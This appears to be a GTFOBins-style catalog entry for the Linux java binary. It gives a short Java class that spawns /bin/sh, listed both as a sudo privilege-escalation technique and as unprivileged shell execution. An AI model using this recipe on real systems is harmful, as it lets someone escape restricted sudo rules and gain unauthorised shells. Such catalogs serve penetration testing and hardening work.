CatalogGTFOBins

GTFO · Tool

java

2 techniquesLinuxGTFOBinsGPL-3.0

shell

ExecutionPrivilege EscalationLinux

The `Shell.class` class file can be compiled offline, then uploaded to the target: ``` cat >Shell.java <<EOF public class Shell { public static void main(String[] args) throws Exception { new ProcessBuilder("/bin/sh").inheritIO().start().waitFor(); } } EOF javac Shell.java ```

java Shell
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux

The `Shell.class` class file can be compiled offline, then uploaded to the target: ``` cat >Shell.java <<EOF public class Shell { public static void main(String[] args) throws Exception { new ProcessBuilder("/bin/sh").inheritIO().start().waitFor(); } } EOF javac Shell.java ```

java Shell
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059